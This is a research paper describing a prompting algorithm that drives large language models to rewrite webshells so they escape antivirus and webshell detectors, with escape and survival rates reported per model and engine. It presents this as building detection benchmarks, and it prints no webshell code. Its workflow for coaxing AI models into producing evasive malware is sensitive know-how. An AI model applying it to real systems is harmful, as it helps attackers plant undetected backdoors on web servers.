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Abstract

The frequent occurrence of cyber-attacks has001
made webshell attacks and defense gradually002
become a research hotspot in the field of net-003
work security. However, the lack of publicly004
available benchmark datasets and the over-005
reliance on manually defined rules for web-006
shell escape sample generation have slowed007
down the progress of research related to web-008
shell escape sample generation and artificial009
intelligence-based webshell detection. To ad-010
dress the drawbacks of weak webshell sam-011
ple escape capabilities, the lack of webshell012
datasets with complex malicious features, and013
to promote the development of webshell detec-014
tion, we propose the Hybrid Prompt algorithm015
for webshell escape sample generation with the016
help of large language models. As a prompt017
algorithm specifically developed for webshell018
sample generation, the Hybrid Prompt algo-019
rithm not only combines various prompt ideas020
including Chain of Thought, Tree of Thought,021
but also incorporates various components such022
as webshell hierarchical module and few-shot023
example to facilitate the LLM in learning and024
reasoning webshell escape strategies. Experi-025
mental results show that the Hybrid Prompt al-026
gorithm can work with multiple LLMs with ex-027
cellent code reasoning ability to generate high-028
quality webshell samples with high Escape029
Rate (88.61% with GPT-4 model on VIRUS-030
TOTAL detection engine) and Survival Rate031
(54.98% with GPT-4 model).032

1 Introduction033

Webshell (Starov et al., 2016), as a typical exam-034

ple of malicious scripts exploiting injection vul-035

nerabilities, allows hackers to remotely access and036

invade web servers, posing serious threats to socio-037

economic and network security. Webshells come038

in various forms, ranging from a single line of code039

that allows remote execution of user-provided sys-040

tem commands to large-scale complex script files.041

Similar to the research on malware detection, web- 042

shell generation and detection are non-stationary, 043

adversarial problems (Demetrio et al., 2021), which 044

have been engaged in a constant game of cat and 045

mouse, with an escalating spiral trend. From the 046

attacker’s perspective, mainstream webshell detec- 047

tion tools and engines like VIRUSTOTAL (Peng 048

et al., 2019), WEBDIR+ and AVAST are frequently 049

updated and maintained, incorporating the rules 050

and characteristics of new webshells within days 051

or even shorter periods. This forces attackers to 052

constantly develop new webshell generation meth- 053

ods to bypass the detection of such engines. On 054

the detection side, research is still in its infancy 055

(Hannousse and Yahiouche, 2021). There is a lack 056

of publicly available benchmark datasets and open- 057

source baseline methods for webshell detection. 058

Most models using neural networks or intelligent 059

algorithms claim to have high accuracy and low 060

false positives. However, the fact is that these mod- 061

els are basically tested on private datasets, which 062

usually consist of only a few hundred or fewer 063

samples, with obvious malicious features. Even 064

the simplest multi-layer perceptron (MLP) struc- 065

ture can achieve high-precision detection on such 066

datasets through overfitting. In a real cyber-attack 067

environment, the authenticity and generalization 068

ability of such methods are difficult to guarantee. 069

See details in App. A. 070

In fact, (Hannousse and Yahiouche, 2021) ar- 071

gued that AI methods excel at extracting abstract 072

features in webshell, which are advanced features 073

that go beyond lexical, syntactical, and semantical 074

features. These advanced features help reveal hid- 075

den aspects in webshells that cannot be detected 076

through syntax and semantic analysis. However, 077

unlike the research on malware adversarial sam- 078

ple generation (Demetrio et al., 2021; Kolosnjaji 079

et al., 2018; Song et al., 2022; Castro et al., 2019), 080

research on webshell escape sample generation is 081

still a blank field, which is due to the fact that the 082
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existing webshell bypass strategies are numerous083

and complicated, and there is no specific system-084

atic method to follow. Therefore, it is an urgent085

and highly significant work to propose a webshell086

escape sample generation algorithm and construct087

a corresponding webshell benchmark dataset.088

On the other hand, the blooming development089

of large language model (LLM) and artificial in-090

telligence generated content (AIGC) technologies091

(Chang et al., 2023) has already made an indeli-092

ble impact in various domains such as chat and093

image generation (Zhao et al., 2023b). As the lat-094

est achievement in the field of natural language095

processing (NLP), LLM has taken a significant096

lead over earlier neural network structures (i.e.097

Long Short-Term Memory (Staudemeyer and Mor-098

ris, 2019), Gate Recurrent Unit (Dey and Salem,099

2017), etc.) in contextual reasoning and semantic100

understanding capabilities. The widespread appli-101

cation of LLM in various code-related tasks (i.e.102

code generation (Liu et al., 2023a), penetration103

testing (Deng et al., 2023), vulnerability detec-104

tion (Sun et al., 2023), automated program repair105

(Wei et al., 2023), LLM fuzz tuning (Zhao et al.,106

2023a), vulnerability repair (Pearce et al., 2023))107

has fully showcased its excellent code reasoning108

abilities, making it possible to utilize LLM for gen-109

erating webshell escape samples. Prompt engineer-110

ing (Shin et al., 2020) plays a crucial role in the111

vertical research application of LLM, which aims112

to explore better ways of human interaction with113

LLMs to fully leverage their performance poten-114

tial. It is undeniable that many key techniques in115

prompt engineering, such as Chain of Thoughts116

(CoT) (Wei et al., 2022), Tree of Thoughts (ToT)117

(Yao et al., 2023), Zero-Shot CoT (Kojima et al.,118

2022), etc., have improved the reasoning abilities119

of LLMs. In addition, the application of techniques120

like LAnguage Model Analysis (LAMA) probes121

(Petroni et al., 2019) have been gradually enhanc-122

ing the interpretability of the models. Novel studies123

in prompt engineering, such as prompt finetuning,124

have been able to fine-tune the parameters in LLM,125

thus simplifying the traditional fine-tune process126

(Li and Liang, 2021). Moreover, AIGC technology127

is so "creative", that just a simple prompt can make128

LLM produce a 0-Day webshell, see details in App.129

B.130

Therefore, in this work, we explore the unex-131

plored research area of AIGC-enabled webshell132

escape sample generation strategies. We propose133

Hybrid Prompt, a hierarchical and modular prompt134

generation algorithm, and apply it to different 135

LLM models to generate multiple webshell sam- 136

ples with high escape capabilities. Experimental 137

results demonstrate that the escape samples gener- 138

ated by the Hybrid Prompt algorithm + LLM model 139

can bypass detection by mainstream detection en- 140

gines with high Escape Rate (ER) and Survival 141

Rate (SR). 142

The main contributions of this paper are three- 143

folds: 144

• We propose Hybrid Prompt algorithm, which 145

combines the advantages of multiple prompt 146

schemes such as ToT (Yao et al., 2023), few- 147

shot prompting, CoT, etc. By synthesizing 148

key features related to webshell escape and de- 149

signing prompt strategies tailored to different 150

sizes of webshells, the algorithm effectively 151

enhances the code reasoning ability of LLM 152

models and generates high-quality webshell 153

escape samples. 154

• We construct a webshell benchmark dataset 155

generated by the Hybrid Prompt algorithm. 156

This dataset achieves high ER and SR among 157

mainstream detection engines and reflects the 158

performance of rule-based detection engines 159

more realistically and effectively. 160

• We investigate and compare the quality of 161

escape samples generated by different LLM 162

models using the Hybrid Prompt algorithm. 163

All these samples exhibit high ER, surpassing 164

webshell samples generated by other intelli- 165

gent algorithms (i.e. genetic algorithm (Pang 166

et al., 2023)). 167

2 Preliminary 168

With the development of AIGC and LLM tech- 169

nologies, there are numerous LLM models in dif- 170

ferent subfields with different focuses. For exam- 171

ple, GLM (Du et al., 2022) and GLM2 models 172

tend to prioritize open-source and lightweight to 173

meet the deployment needs of personal terminals. 174

DALLE (Ramesh et al., 2021) focuses on AI im- 175

age generation, while FATE-LLM (Zhuang et al., 176

2023) is biased towards application scenarios un- 177

der the federal learning paradigm. Hybrid Prompt 178

performs exceptionally well on LLM models with 179

strong code reasoning abilities. We have done 180

some toy tests with basic prompts on Chatglm-6B 181
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1, Chatglm2-6B 2, Chatglm-13B, and Chatglm2-182

13B models, but the performance is unsatisfactory,183

see details in App. C. Therefore, this strategy is184

more suitable for LLM models with a large number185

of parameters and strong code reasoning abilities,186

such as GPT-3.5 and GPT-4.187

3 Algorithm Design188

3.1 Overall Workflow189

The overall flow from collecting multi-source web-190

shell scripts to generating webshell escape samples191

is shown in Figure 1.192

Multi-source Dataset

Data Filtering Process 
Template Webshell Dataset 

Hybrid Prompt Algorithm + LLM
Webshell Escape Sample

Figure 1: The overall workflow of webshell escape
sample generation

3.2 Data Filtering193

To facilitate the implementation of the Hybrid194

Prompt algorithm, we need to construct the Tem-195

plate webshell dataset. Since webshell scripts col-196

lected from multiple sources are diverse in types197

and have confusing names (i.e. AK-74, b374k,198

etc.), and the Template webshell dataset requires199

clean and well-characterized webshell scripts, we200

perform triple data filtering process on multi-source201

webshell scripts, as shown in Figure 2.202

Multi-source webshell scripts

00bb03b98a47e43882a8efc661e293ef00bb03b98a47e43882a8efc661e293ef00bb03b98a47e43882a8efc661e293ef

MD5 Hash

1st filtering

AST structure 
comparasion

2nd filtering

opcode
VLD 

visulization
opcode

VLD 
visulization

Opcode 
comparasion

3rd filtering

Template 
webshell dataset

Template 
webshell dataset

......

Figure 2: Triple data filtering process

In the first filtering step, we calculate the MD5203

hash value of all scripts to filter out webshell scripts204

1https://github.com/THUDM/ChatGLM-6B
2https://github.com/THUDM/ChatGLM2-6B

with consistent content but confusing names. The 205

filtered scripts are then renamed using their cor- 206

responding hash values. In the second filtering 207

step, we convert the webshell scripts into Ab- 208

stract Syntax Tree (AST) structures to filter out 209

the scripts with the same syntax structure. For PHP 210

scripts, we use "php-ast" to perform the translation 211

(ast\parse_code) and add the name, kind attribute 212

to the nodes. We process the child nodes belonging 213

to the array and AST separately. The pseudocode 214

for this step is shown in Algorithm 1. 215

Algorithm 1 Php-ast Runtime Flow
1: $ast = ast\parse_code($code, $version=70);
2: $new_ast = add_attr($ast);
3: $json = json_encode($new_ast, JSON_PRETTY_PRINT |

JSON_UNESCAPED_UNICODE | JSON_OBJECT_AS _ARRAY);

In the third filtering step, the Vulcan Logic Dis- 216

assembler (VLD) module in Zend engine is used 217

to disassemble the scripts into opcode structures, 218

aiming to filter out webshell scripts with consistent 219

execution sequences. See details in App. D. 220

3.3 Hybrid Prompt 221

The ToT method has significant performance ad- 222

vantages over CoT, Self Consistency (SC) (Wang 223

et al., 2023) method in solving complex reason- 224

ing problems by searching for multiple solution 225

paths, using strategies such as backtracking and 226

pruning, similar to human thinking rather than the 227

traditional auto-regressive mechanism of making 228

token level decisions one by one in a left-to-right 229

manner. This allows it to better handle heuristic 230

problems like genuine problems. Therefore, we 231

also leverage and innovate this process paradigm 232

in the complex reasoning task of webshell escape 233

sample generation. The overall flowchart of the 234

Hybrid Prompt algorithm is illustrated in Figure 3. 235

Before proceeding, let’s first formalize some rel- 236

evant symbols. We use M to denote LLM, o to 237

denote one of the candidates generated by each 238

thought of Hybrid Prompt, O to denote the set com- 239

posed of candidates, x to denote the original input 240

of Hybrid Prompt, Fe to denote the few-shot exam- 241

ple, N to denote the tree depth of Hybrid Prompt 242

and p to denote the number of candidates. 243

3.3.1 Thought Decomposition 244

ToT argues that a suitable thought should be 245

able to generate promising and diverse samples, 246

facilitating LLM in assessing its problem-solving 247

prospects. However, compared to tasks with clear 248
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Figure 3: The flowchart of Hybrid Prompt algorithm

rules such as Game of 24, 5*5 Crosswords, etc., the249

thought search space for webshell escape sample250

generation is broader and more challenging.251

To address this, we have developed a webshell252

escape sample generation whitepaper by taking into253

account the characteristics of webshell escape sam-254

ples. We refer to each keyword as a module, and255

some modules further have secondary and tertiary256

modules, see details in App. E. Therefore, in Hy-257

brid Prompt, thought is set as the search space for258

LLM contemplating Template webshells based on259

a module.260

3.3.2 Thought Generator G(M,o)261

Since webshell escape sample generation is a262

heuristic problem, we apply the CoT method to263

each module for generating multiple intermediate264

webshell samples. Considering that LLM may gen-265

erate some low-value solutions with large devia-266

tions from the expectation, thus reducing the ef-267

ficiency of subsequent votes, we design Fe chain268

structure for each module, see details in App. F.269

Therefore, G(M, o) = M(Fe, o).270

Each node in the Fe chain includes the original271

webshell sample, as well as the webshell sample272

processed by the corresponding module, and a brief273

description explaining the processing method and274

core ideas of the module. When filtering the Fe275

chain, we follow the following 2 principles: 1) 276

The structure of the example webshell code should 277

be as simple as possible; 2) Each node contains, 278

as far as possible, only the processing methods 279

corresponding to that module. 280

The purpose is to reduce the difficulty of LLM 281

in learning the corresponding method through an 282

example that is as simple as possible and contains 283

the core idea. The descriptive explanation further 284

enhances the interpretability of the solutions. This 285

idea is also in line with the logical process of hu- 286

man learning and cognition, e.g., "from shallow to 287

deep," to help LLM better learn the features of the 288

methods. 289

Fe can essentially "modify" the LLM’s thinking 290

direction to a certain extent so that webshell can 291

be generated in a Few-shot CoT mindset. In most 292

cases, each Fe chain contains multiple Fe exam- 293

ples to provide more comprehensive coverage of 294

different scenarios. In this case, multiple nodes are 295

used as input prompt components for the current 296

iteration round, to help LLM better learn multi- 297

ple segmented strategies. Due to the large search 298

space and sample diversity for each module, this 299

Few-shot CoT method yields better results. 300

Meanwhile, based on the input webshell size, 301

we design 2 different generation approaches. For 302

small webshells, we include p candidate webshell 303

samples in a single conversation returned by the 304

LLM. In this case, the average maximum length of 305

each candidate webshell sample L(Avg_Candidatei) 306

is calculated as (1): 307

L(Avg_Candidatei) = (L(MaxToken)−L(InputPrompt))/p.
(1) 308

Where L(MaxToken) denotes the maximum 309

context length that the current LLM model can 310

handle, and L(InputPrompt) denotes the length of 311

the input prompt in the current thought. Since small 312

webshells are generally shorter, this approach can 313

save the consumption of LLM’s token resources, 314

and enable LLM to generate more diverse samples 315

in the returned message of a single conversation 316

through specific "key prompts". 317

For large webshells, we enable the n parameter 318

function to generate p candidate webshell samples 319

by receiving multiple return messages from LLM. 320

In this case, the maximum length of each candidate 321

webshell sample L(Candidatei) is calculated as 322

(2): 323

L(Candidatei) = L(MaxToken)−L(InputPrompt)−L(Descriptioni)
(2) 324
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Where Descriptioni represents the brief descrip-325

tion generated by LLM for the ith candidate web-326

shell sample, which is used to summarize the idea327

of candidate webshell generation and facilitate the328

subsequent voting process. This approach maxi-329

mizes the length of the generated candidate web-330

shell sample at the expense of consuming more331

token resources.332

3.3.3 State Evaluator V (M,O)333

Corresponding to Thought Generator, State Eval-334

uator is also designed to have 2 different voting335

methods for large and small webshells. For small336

webshells, Hybrid Prompt uses LLM to vote on337

multiple intermediate webshell samples (states) and338

filter out the optimal ones. The reason for voting339

on multiple samples instead of voting on solutions340

is two-fold: 1) Since the Thought Generator oper-341

ates in a few-shot CoT mindset, webshell samples342

help LLM evaluate and assess the differences be-343

tween generated examples more intuitively to make344

optimal judgments; 2) Voting directly on the sam-345

ples can preserve all the original information of the346

candidate webshells.347

In this case, L(Generator(Input + Output)) ≈348

L(Evaluator(Input+Output)) < L(MaxToken). Be-349

cause both contain Fe, the webshell contents of p350

candidates, and additional prompt information.351

For large webshells, it is not feasible to directly352

input the webshell contents of p candidates into353

LLM because p × (L(Candidatei)) + L(Fechain) +354

L(AdditionalPrompt) > L(MaxToken). Therefore,355

we use Descriptioni instead of Candidatei as the356

input component of the voting procedure. This kind357

of information compression idea will inevitably358

lose the original code information. App. G presents359

a specific example comparing 2 voting ideas.360

Regardless of the voting idea, for V (M,O) ,361

where O = {o1, o2, ..., op}, V (M, oi) = 1 is consid-362

ered a good state, when oi ∼ Mvote(oi|O) . For363

Hybrid Prompt, the evaluation of a good state is364

to synthesize both the confusion level of the inter-365

mediate results generated by LLM for a module366

and the distance between them and the Fes. By367

allowing LLM to pursue local optimal solutions at368

each step of sample generation, this "greedy" idea369

makes it easier for the LLM to approximate the370

global optimal solution for the heuristic problem371

of escape sample generation.372

3.3.4 Search Algorithm373

For the Hybrid Prompt method, the depth of the374

tree N corresponds to the total number of mod- 375

ules. The DFS strategy leads to an excessive state 376

space of LLM during the backtracking and prun- 377

ing stages, which reduces the efficiency of the al- 378

gorithm operation. Therefore, we consider using 379

the BFS search algorithm. The pseudocode of the 380

corresponding Hybrid Prompt-BFS algorithm is 381

shown in Algorithm 2. 382

Algorithm 2 Hybrid Prompt-BFS Algorithm
Require: Input x, Thought Generator G(M, o), State Evaluator V (M,O),

Tree Depth N , Candidate num p, Step Output Oi(O ≤ i ≤ N)
1: O0 = x
2: for n = 1 to N do
3: O

′
n = {[o, z]|o ∈ On−1, zn ∈ G(M, o)}

4: Vn = V (M,O
′
n)

5: On = sort(Vn, p)
6: end for
7: Return On

Taking into account performance and efficiency 383

considerations, for the escape sample generation 384

task, we set the number of candidates p to 1. The 385

final output of the webshell escape sample is the 386

candidate that wins in the vote process at the N th 387

layer. 388

3.3.5 Contextual Memory Range 389

Since LLM has a limited range of contextual 390

memory, we cannot let LLM memorize the entire 391

Hybrid Prompt context but should set its local mem- 392

ory range. For this reason, our approach is to set the 393

Contextual Memory Range for the Hybrid Prompt, 394

as shown in Figure 3. See more explanations in 395

App. H. 396

3.3.6 Additional Explanation 397

For the webshell escape sample generation task, 398

an important guiding principle is to ensure the va- 399

lidity of generated samples. This means that the 400

escaped samples should not lose the attack behav- 401

ior and malicious features of the original samples 402

and can be executed correctly without any syntax 403

or lexical errors. To achieve this, Hybrid Prompt 404

introduces Safeguard Prompt to constrain sample 405

generation and improve SR. In addition, com- 406

mon techniques in prompt engineering, such as “‘ 407

delimiter, are also applied in the Hybrid Prompt 408

algorithm to normalize the output of LLMs. 409

The order of modules also has a significant im- 410

pact on the Hybrid Prompt algorithm. Therefore, 411

when running the Hybrid Prompt algorithm, it is 412

important to consider the relative position between 413

specific modules and establish corresponding rules 414
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to avoid such situations from occurring. See details415

in App. I.416

4 Experiments417

4.1 Setup418

In the experimental section, our main objective is419

to answer the following questions:420

RQ1: Can LLM effectively generate escape sam-421

ples, and what is the ER of these samples under422

different detection engines?423

RQ2: Are the individual parts of the Hybrid424

Prompt algorithm effectively designed?425

RQ3: Does the number of candidates p affect426

the performance of the Hybrid Prompt algorithm?427

Experimental Environment. The specific ex-428

perimental environment is shown in Table 1. See429

details in App. J.430

CPU Intel Xeon(R) Gold 6326 CPU @ 2.9GHz
RAM 64GB
GPU NVIDIA TESLA A100-SXM4-80G ×2

Language Python 3.10+
AI Framework PyTorch 1.8.1+

Virtual Attack Environment DVWA + AntSword

Table 1: Experimental Environment

Evaluation Metrics. To better compare the qual-431

ity of samples generated by different LLM models432

using the Hybrid Prompt algorithm, we choose two433

evaluation metrics: ER and SR, which are calcu-434

lated as follows:435

ER = 1 − DR = 1 − NDetected_samples/NTotal_samples (3)436

SR = NMalicious_samples/NTotal_samples (4)437

Where Detection Rate (DR) represents the438

detection accuracy of the detection engine,439

NTotal_samples is the total number of samples gen-440

erated by LLM under the Hybrid Prompt algorithm,441

NDetected_samples is the number of webshells suc-442

cessfully identified by the detection engine, and443

NMalicious_samples is the number of samples gen-444

erated by LLM under the Hybrid Prompt algorithm445

that still retain malicious functionality.446

Models & Detection Engines. We test the ER447

and SR of samples generated by Hybrid Prompt448

under three detection engines: Web Shell Detector,449

WEBDIR+, and VIRUSTOTAL respectively. By450

calling the VIRUSTOTAL scanning API, we test451

more than 58 different detection engines (i.e. AVG,452

ClamAV, AVAST, etc.). In addition, we cross-check453

the performance of several LLM models, includ-454

ing GPT-3.5, GPT-4, and Code-llama-34B, which455

demonstrate excellent performance in code genera- 456

tion and semantic understanding tasks. 457

Comparative Methods. Due to the lack of rele- 458

vant research, we also include a comparison with 459

the dataset from CWSOGG (Pang et al., 2023), an 460

obfuscated webshell dataset generated using the 461

genetic algorithm. 462

4.2 Comparative Experiment 463

To answer RQ1, the comparative results are shown 464

in Table 2. 465

In Table 2, the GPT-4 + Hybrid Prompt algo- 466

rithm has the best comprehensive performance, 467

leading to both ER and SR. This is due to the 468

fact that GPT-4 is more capable of following com- 469

plex instructions carefully, while Hybrid Prompt 470

contains multiple detailed instructions with normal- 471

ized constraints. GPT-3.5, on the other hand, could 472

partially follow complex instructions, resulting in 473

a higher probability of generating escape samples 474

that prioritize either ER or SR, making it diffi- 475

cult to balance both. It is encouraging to note that 476

the comprehensive performance of the open-source 477

LLM Code-llama-34B, is very close to that of the 478

GPT-3.5 model, confirming the performance po- 479

tential of the open-source models. Meanwhile, the 480

ER of webshell samples generated by the 3 LLM 481

models + Hybrid Prompt algorithm have far ex- 482

ceeded those of the Original Template Dataset and 483

the CWSOGG Dataset, which fully demonstrate 484

the performance superiority and dominance of the 485

LLM models over rule-based artificial escape strate- 486

gies and the traditional intelligent algorithms (i.e., 487

genetic algorithm). As for the detection engines, 488

VIRUSTOTAL, due to its integration of many dif- 489

ferent detection engines, has a higher overall DR 490

compared to Web Shell Detector and WEBDIR+. 491

However, even VIRUSTOTAL struggles with the 492

creativity of LLMs and the uncertainty of the gen- 493

erated escape samples, which illustrates the lim- 494

itations and drawbacks of these type of specific 495

rule-based detection engines. See App. K for visu- 496

alization results. 497

4.3 Ablation Analysis 498

To further validate the effectiveness of the Hybrid 499

Prompt algorithm and address RQ2, we test the 500

performance of sample sets generated by remov- 501

ing different components of Hybrid Prompt un- 502

der ER and SR evaluation metrics in the GPT-3.5 503

model. Specifically, we refer to the complete Hy- 504

brid Prompt algorithm as Strategy 1, removing the 505
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Anti-Virus Engine Web Shell Detector WEBDIR+ VIRUSTOTAL
SRModel ER

GPT-3.5 Turbo + Hybrid Prompt 0.9342 0.8874 0.7465 0.4093
GPT-4 + Hybrid Prompt 0.9727 0.9287 0.8861 0.5498

Code-llama-34B + Hybrid Prompt 0.9015 0.8549 0.6358 0.3021
Original Template Dataset 0.3415 0.2054 0.1232 1

CWSOGG Dataset 0.4052 0.3151 0.2327 1

Table 2: Comparative Experiment Results

Safeguard Prompt as Strategy 2, removing Fe chain506

as Strategy 3, removing the voting strategy and gen-507

erating only 1 sample per module as Strategy 4, and508

letting the LLM directly generate webshell as Strat-509

egy 5. The experimental results are shown in Table510

3.511

Table 3 illustrates that Strategy 5 has poor per-512

formance and a high probability of hallucination513

due to the absence of any additional prompt. Both514

Strategy 3 and Strategy 4 produce different degrees515

of performance degradation. For Strategy 3, LLM516

loses reference examples, leading to a higher prob-517

ability of generating corrupted samples. Strategy 3518

also indirectly reflects that the current LLM’s code519

reasoning ability still relies on Fe chains to achieve520

better task performance. For Strategy 4, LLM is521

unable to explore multiple reasoning paths, so the522

generation space and diversity of samples are lim-523

ited, which leads to a lower ER. Strategy 2 has524

the least impact on the quality of generated escape525

samples. Although the probability of generating526

corrupted samples increases and the SR decreases527

due to the loss of Safeguard Prompt’s normalization528

measures, the impact on the ER is not significant.529

However, for Strategy 2 - Strategy 5, all produce530

varying degrees of performance degradation com-531

pared to the complete Hybrid Prompt algorithm,532

fully demonstrating the effectiveness of various533

components of the Hybrid Prompt algorithm. See534

App. K for visualization results.535

4.4 Sensitivity Analysis536

We investigate the impact of the candidate num-537

ber, p, on the SR and ER evaluation metrics of538

generated samples in the GPT-3.5 model. The ex-539

perimental results of RQ3 are shown in Table 4.540

From Table 4, it can be observed that a larger541

number of candidates can increase the search space542

of LLM, which in turn enriches the diversity of543

generated samples, enables better selection of544

the optimal solution, and improves the sample545

ER and SR. However, the increase of p will546

also result in a higher token consumption and, in547

the case of small webshells, further reduces the548

L(Avg_Candidatei) for each sample. Figure 4 549

is able to visualize the "marginal effect" that oc- 550

curs as p increases (The yellow and purple folds in 551

Figure 4 almost overlap). When p exceeds 3, the 552

performance improvement of ER and SR metrics 553

is not obvious, which can be attributed to the fact 554

that the search space of LLM’s self-inference is 555

approaching the local upper limit. However, it is 556

noteworthy that the consumption of tokens exhibits 557

an almost linear relationship with the increase in 558

p, despite the limited performance gains in ER 559

and SR metrics. Therefore, the pros and cons be- 560

tween evaluation metrics and resource consumption 561

should be weighed in practical applications. 562
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Figure 4: Visualization of the "marginal effect" with
increasing p

5 Related Work 563

5.1 Prompt Engineering Algorithm. 564

As one of the most classic prompt algorithms, CoT 565

(Wei et al., 2022) aims to assist LLMs in achiev- 566

ing complex reasoning abilities through intermedi- 567

ate inference steps. Zero-shot CoT (Kojima et al., 568

2022), as a follow-up to CoT, enables LLM to per- 569

form self-reasoning through twice generation, in- 570

volving 2 separate prompting processes. SC (Wang 571

et al., 2023) serves as another complement to the 572

CoT algorithm by sampling a diverse set of reason- 573

ing paths and marginalizing out reasoning paths to 574

aggregate final answers. Least to Most Prompting 575

(LtM) (Zhou et al., 2023), also an advancement of 576

the CoT algorithm, decomposes a problem into a 577

set of subproblems built upon each other and in- 578

7



Anti-Virus Engine Web Shell Detector WEBDIR+ VIRUSTOTAL
SRStrategy ER

Strategy 1 0.9342 0.8874 0.7465 0.4093
Strategy 2 0.9221 0.8653 0.7114 0.3398
Strategy 3 0.7315 0.6819 0.5042 0.2310
Strategy 4 0.8213 0.7998 0.6524 0.3067
Strategy 5 0.5021 0.4267 0.3120 0.1513

Table 3: The Comparative Results of Ablation Analysis

Anti-Virus Engine Web Shell Detector WEBDIR+ VIRUSTOTAL
SRCandidate num p ER

1 0.8213 0.7998 0.6524 0.3067
2 0.8749 0.8567 0.7031 0.3648
3 0.9342 0.8874 0.7465 0.4093
4 0.9489 0.8968 0.7621 0.4163
5 0.9522 0.9014 0.7708 0.4266

Table 4: The Comparative Results Of Sensitivity Analysis

puts the solutions of the previous sub-problem into579

the prompt of the next sub-problem to gradually580

solve each sub-problem. Generated Knowledge581

Approach (GKA) (Liu et al., 2022) enables LLM582

to generate potentially useful information related583

to a given question before generating the response584

through 2 intermediate steps: knowledge genera-585

tion and knowledge integration. Diverse Verifier586

on Reasoning Steps (DiVeRSe) (Li et al., 2023),587

on the other hand, improves the reliability of LLM588

answers by generating multiple reasoning paths.589

5.2 The Application Of LLM In Code Related590

Tasks.591

Zhang et al. (Zhang et al., 2023a) utilized ChatGPT592

to generate vulnerability exploitation code. Liu et593

al. (Liu et al., 2023b) applied GPT to the task of594

vulnerability description mapping and evaluation595

tasks. They provided certain prompts to ChatGPT596

and extracted the required information from its re-597

sponses using regular expressions. Zhang et al.598

(Zhang et al., 2023b) proposed STEAM, a frame-599

work for bug fixing using LLM to simulate pro-600

grammers’ behaviors. Kang et al. introduced the601

LIBRO (Kang et al., 2023) model for exploring bug602

reproduction tasks. The aforementioned researches603

demonstrate that with appropriate algorithmic de-604

sign, LLM is capable of handling various specific605

tasks in the field of code analysis.606

5.3 Researches On Webshell Detection607

Techniques.608

We categorize the research in the field of webshell609

detection into 3 stages: Start Stage, Initial Devel-610

opment Stage, and In-depth Development Stage.611

In the Start Stage, research methods are simple612

and have numerous flaws and deficiencies, such as613

limited private datasets, unreasonable feature ex- 614

traction methods, oversimplified classifier structure 615

design (Tian et al., 2017; Zhang et al., 2018), etc. 616

In the Initial Development Stage, relevant studies 617

explore and make progress in various aspects of 618

the detection process. However, theoretical inno- 619

vations remain relatively scarce (Wu et al., 2019; 620

Lu et al., 2020; Zhang et al., 2020; Le et al., 2023; 621

Zhou et al., 2021), etc. In the In-depth Develop- 622

ment Stage, simple individual classifiers or ma- 623

chine learning algorithms become less common, 624

and related research has penetrated into the the- 625

oretical process level of modeling methods (An 626

et al., 2022; Cheng et al., 2022). However, from 627

an overall point of view, research related to web- 628

shell detection techniques is still in its early stages, 629

largely due to the slow progress of the attacker’s 630

research, and the lack of advanced webshell escape 631

sample generation algorithms in the field. 632

6 Conclusion 633

In this paper, we propose Hybrid Prompt, a web- 634

shell escape sample generation prompt algorithm 635

that combines various prompt strategies such as 636

ToT, CoT, etc. Hybrid Prompt combines struc- 637

tured webshell module and Fe chain, utilizes aux- 638

iliary methods to inspire LLMs to perform self- 639

assessment and optimization, and demonstrates ex- 640

cellent performance on LLMs with strong code rea- 641

soning capabilities (GPT-3.5, GPT-4, Code-llama- 642

34B), enabling the generation of high-quality web- 643

shell escape samples. Hybrid Prompt algorithm 644

also exhibits strong scalability and generalization 645

capability, allowing for the addition of more mod- 646

ules and corresponding Fe chains to update escape 647

strategies and expand to more webshell languages. 648
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7 Limitations649

1. The Hybrid Prompt algorithm currently sup-650

ports a limited number of webshell languages,651

and there is a need to expand it to support652

more webshell languages in the future.653

2. Hybrid Prompt algorithm does not fine-tune654

LLMs. Fine-tuning can further reduce the655

probability of LLM hallucination and improve656

the quality of generated escape samples.657

3. For the voting strategy in the case of large658

webshells, the description-based strategy used659

in the Hybrid Prompt algorithm results in the660

loss of original information from candidate661

code, which in turn affects the vote effect of662

LLM. While information compression strate-663

gies are acceptable for NLP tasks such as con-664

textual dialogs, there is room for further im-665

provement for tasks such as code generation,666

which require precise raw sample information.667

Therefore, our further work includes combin-668

ing LLM fine-tuning techniques with the Hybrid669

Prompt algorithm to further enhance the code gen-670

eration capability of LLM and designing more ad-671

vanced information compression algorithms to im-672

prove the quality of sample generation.673

8 Ethics Statement674

All experiments in this paper (Section 4) are con-675

ducted under the built Virtual Attack Environment,676

thus posing no harm to the real internet environ-677

ment. Additionally, the algorithms and data in-678

cluded in this work are intended to contribute to679

the development and transformation of webshell680

detection techniques, solely for academic research681

reference, and are strictly prohibited for any real-682

world cyber-attack activities. Beyond that, we be-683

lieve that this research does not produce any other684

potential harm or bias.685
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gives a specific example of VIRUSTOTAL detect-981

ing the "tennc/webshell" 3 repository.982

Figure 5: VIRUSTOTAL achieves high precision detec-
tion

B LLM generates new webshells983

By providing a simple prompt and giving a rough984

idea of webshell escape techniques, LLM can gen-985

erate a 0-day webshell (Figure 6). However, in such986

a situation, the lack of strict prompt constraints and987

complete thought flows can lead LLM to generate988

a potentially corrupted webshell.989

Figure 6: Generating webshells using simple prompts
on LLM

C Toy tests on some lightweight LLMs990

LLMs like Chatglm and Chatglm2, perform poorly991

on the webshell escape sample generation task992

due to their weak code reasoning abilities (Fig-993

ure 7). Even when adjusting key parameters such994

as Temperature, Top_p, Top_k, etc., or even995

fine-tuning such models, the results still yield lit-996

tle effect. The fundamental reasons are two-fold.997

Firstly, Chatglm and other LLM models focusing998

on interactive dialogs have weak reasoning abil-999

ity, while the webshell escape sample generation1000

task requires strong inference ability. (The model1001

should effectively understand each specific escape1002

3https://github.com/tennc/webshell

strategy in the prompts and modify the given exam- 1003

ples for bypassing without destroying the original 1004

functionality and syntactic structure of the web- 1005

shell.) Secondly, prompt engineering itself tends to 1006

have more significant effects on LLMs with more 1007

than 30B parameters. 1008

Figure 7: Chatglm and Chatglm2 models perform
poorly on the task of webshell generation

D Examples in the triple data filtering 1009

process 1010

Figure 8 gives a specific example of the AST struc- 1011

ture generated for a small webshell. Each informa- 1012

tion node in the tree contains "name" and "kind" 1013

attributes. Figure 9 illustrates an example of php 1014

opcodes. 1015

E Hierarchial module structure 1016

This hierarchical structure of modules in Figure 1017

10 constitutes a forest structure, in which each pri- 1018

mary module is the root node of the tree in the 1019

forest. This modular design concept has strong 1020

scalability, allowing for the real-time addition of 1021

modules to increase the number of escape methods 1022

for the Hybrid Prompt algorithm. 1023

F Fe chain structure 1024

Figure 11 provides a specific example of the Fe 1025

chain in the "Array methods" module. This chain 1026

structure helps LLM to rapidly grasp the core es- 1027

